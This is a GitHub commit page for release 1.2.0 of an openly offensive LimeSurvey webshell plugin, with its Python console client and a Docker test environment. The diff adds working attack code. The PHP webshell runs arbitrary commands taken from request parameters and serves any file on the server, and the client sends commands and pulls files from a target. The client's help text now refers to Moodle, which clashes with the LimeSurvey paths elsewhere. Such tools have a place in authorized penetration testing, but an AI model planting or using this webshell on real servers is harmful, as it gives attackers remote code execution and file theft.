Skip to content

Commit

Permalink
Release 1.2.0
Browse files Browse the repository at this point in the history
  • Loading branch information
p0dalirius committed May 23, 2022
1 parent e3c89f7 commit c185cb9
Show file tree
Hide file tree
Showing 9 changed files with 110 additions and 9 deletions.
Binary file modified .github/demo.mp4
Binary file not shown.
Binary file modified .github/download_file_web.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified .github/exec_code_web.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
.PHONY: all build

VERSION := 1.1.0
VERSION := 1.2.0

all: build

Expand Down
13 changes: 9 additions & 4 deletions console.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
# -*- coding: utf-8 -*-
# File name : console.py
# Author : Podalirius (@podalirius_)
# Date created : 16 Apr 2022
# Date created : 22 May 2022


import argparse
Expand Down Expand Up @@ -38,8 +38,8 @@ def complete(self, text, state):


def parseArgs():
parser = argparse.ArgumentParser(description="Interactive console for LimeSurvey webshell plugin")
parser.add_argument("-t", "--target", default=None, required=True, help='LimeSurvey target instance')
parser = argparse.ArgumentParser(description="Interactive console for Moodle webshell plugin")
parser.add_argument("-t", "--target", default=None, required=True, help='Moodle target instance')
parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
return parser.parse_args()
Expand All @@ -60,6 +60,10 @@ def remote_exec(target, cmd, verbose=False):
print(json.dumps(data, indent=4))
if len(data["stdout"].strip()) != 0:
print(data["stdout"].strip())

if len(data["stderr"].strip()) != 0:
for line in data["stderr"].strip().split('\n'):
print("\x1b[91m%s\x1b[0m" % line)
except Exception as e:
print(e)

Expand All @@ -71,7 +75,7 @@ def b_filesize(content):
for k in range(len(units)):
if l < (1024 ** (k + 1)):
break
return "%4.2f %s" % (round(l / (1024 ** (k)), 2), units[k])
return "%4.2f %s" % (round(l / (1024 ** k), 2), units[k])
#
r = requests.post(
"%s/upload/plugins/WebShell/webshell.php" % target,
Expand All @@ -82,6 +86,7 @@ def b_filesize(content):
)

if r.status_code == 200:
print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path))
dir = local_path + os.path.dirname(remote_path)
if not os.path.exists(dir):
os.makedirs(dir, exist_ok=True)
Expand Down
2 changes: 1 addition & 1 deletion plugin/config.xml
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
<lastUpdate>2022-04-15</lastUpdate>
<author>Podalirius</author>
<authorUrl>https://podalirius.net/</authorUrl>
<version>1.1.0</version>
<version>1.2.0</version>
<license>GNU General Public License version 2 or later</license>
<description><![CDATA[Execute shell commands]]></description>
</metadata>
Expand Down
60 changes: 57 additions & 3 deletions plugin/webshell.php
Original file line number Diff line number Diff line change
@@ -1,11 +1,13 @@
<?php

$chunk_size = 1024;
$action = $_REQUEST["action"];

if ($action == "download") {
$path_to_file = $_REQUEST["path"];

if (file_exists($path_to_file)) {
http_response_code(200);
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($path_to_file).'"');
Expand All @@ -17,13 +19,65 @@
readfile($path_to_file);
die();
} else {
die("Error: File not found.");
http_response_code(404);
header("Content-Type: application/json");
echo json_encode(
array(
"message" => "Path " . $path_to_file . " does not exist or is not readable.",
"path" => $path_to_file
)
);
}

} elseif ($action == "exec") {
$command = $_REQUEST["cmd"];
$stdout = shell_exec($command);

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "w"), // stdout is a pipe that the child will write to
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

chdir("/");
$process = proc_open($command, $descriptorspec, $pipes);

if (!is_resource($process)) {
// Can't spawn process
exit(1);
}

// Set everything to non-blocking
// Reason: Occasionally reads will block, even though stream_select tells us they won't
// stream_set_blocking($pipes[1], 0);
// stream_set_blocking($pipes[2], 0);

// If we can read from the process's STDOUT send data down tcp connection
$stdout = ""; $buffer = "";
do {
$buffer = fread($pipes[1], $chunk_size);
$stdout = $stdout . $buffer;
} while ((!feof($pipes[1])) && (strlen($buffer) != 0));

// If we can read from the process's STDOUT send data down tcp connection
$stderr = ""; $buffer = "";
do {
$buffer = fread($pipes[2], $chunk_size);
$stderr = $stderr . $buffer;
} while ((!feof($pipes[2])) && (strlen($buffer) != 0));

fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

header('Content-Type: application/json');
echo json_encode(array('stdout' => $stdout, 'exec' => $command));
echo json_encode(
array(
'stdout' => $stdout,
'stderr' => $stderr,
'exec' => $command
)
);
}

?>
21 changes: 21 additions & 0 deletions test_env/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
FROM debian:buster

RUN apt-get -y -q update; \
apt-get -y -q install apache2 xxd git unzip wget php php-simplexml php-gd php-ldap php-zip php-imap php-mysql php-mbstring mariadb-client mariadb-server

RUN service mysql start;\
mysql -u root -e "CREATE USER 'db'@'%' IDENTIFIED BY 'db'; UPDATE mysql.user set plugin = 'mysql_native_password' WHERE User = 'db'; GRANT ALL PRIVILEGES ON *.* TO 'db'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;"

RUN wget https://github.com/LimeSurvey/LimeSurvey/archive/refs/tags/5.2.4+211129.zip -O /tmp/LimeSurvey.zip ;\
cd /var/www/html/; rm index.html; unzip /tmp/LimeSurvey.zip; mv LimeSurvey-5.2.4-211129/* .

RUN chown www-data: -R /var/www/

RUN echo "#!/bin/bash" > /entrypoint.sh ;\
echo "service mysql start" >> /entrypoint.sh ;\
echo "apachectl -D FOREGROUND" >> /entrypoint.sh ;\
chmod +x /entrypoint.sh

EXPOSE 80

CMD /entrypoint.sh
21 changes: 21 additions & 0 deletions test_env/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
.PHONY: build img

IMGNAME := awesome_rce_limesurvey_upload_plugin
PORT := 10080

all : build

build:
docker build -t $(IMGNAME):latest -f Dockerfile .

start: build
docker run --rm -it -p $(PORT):80 $(IMGNAME)

background:
docker run --rm -d -p $(PORT):80 $(IMGNAME)

shell:
docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash

stop:
docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}')

0 comments on commit c185cb9

Please sign in to comment.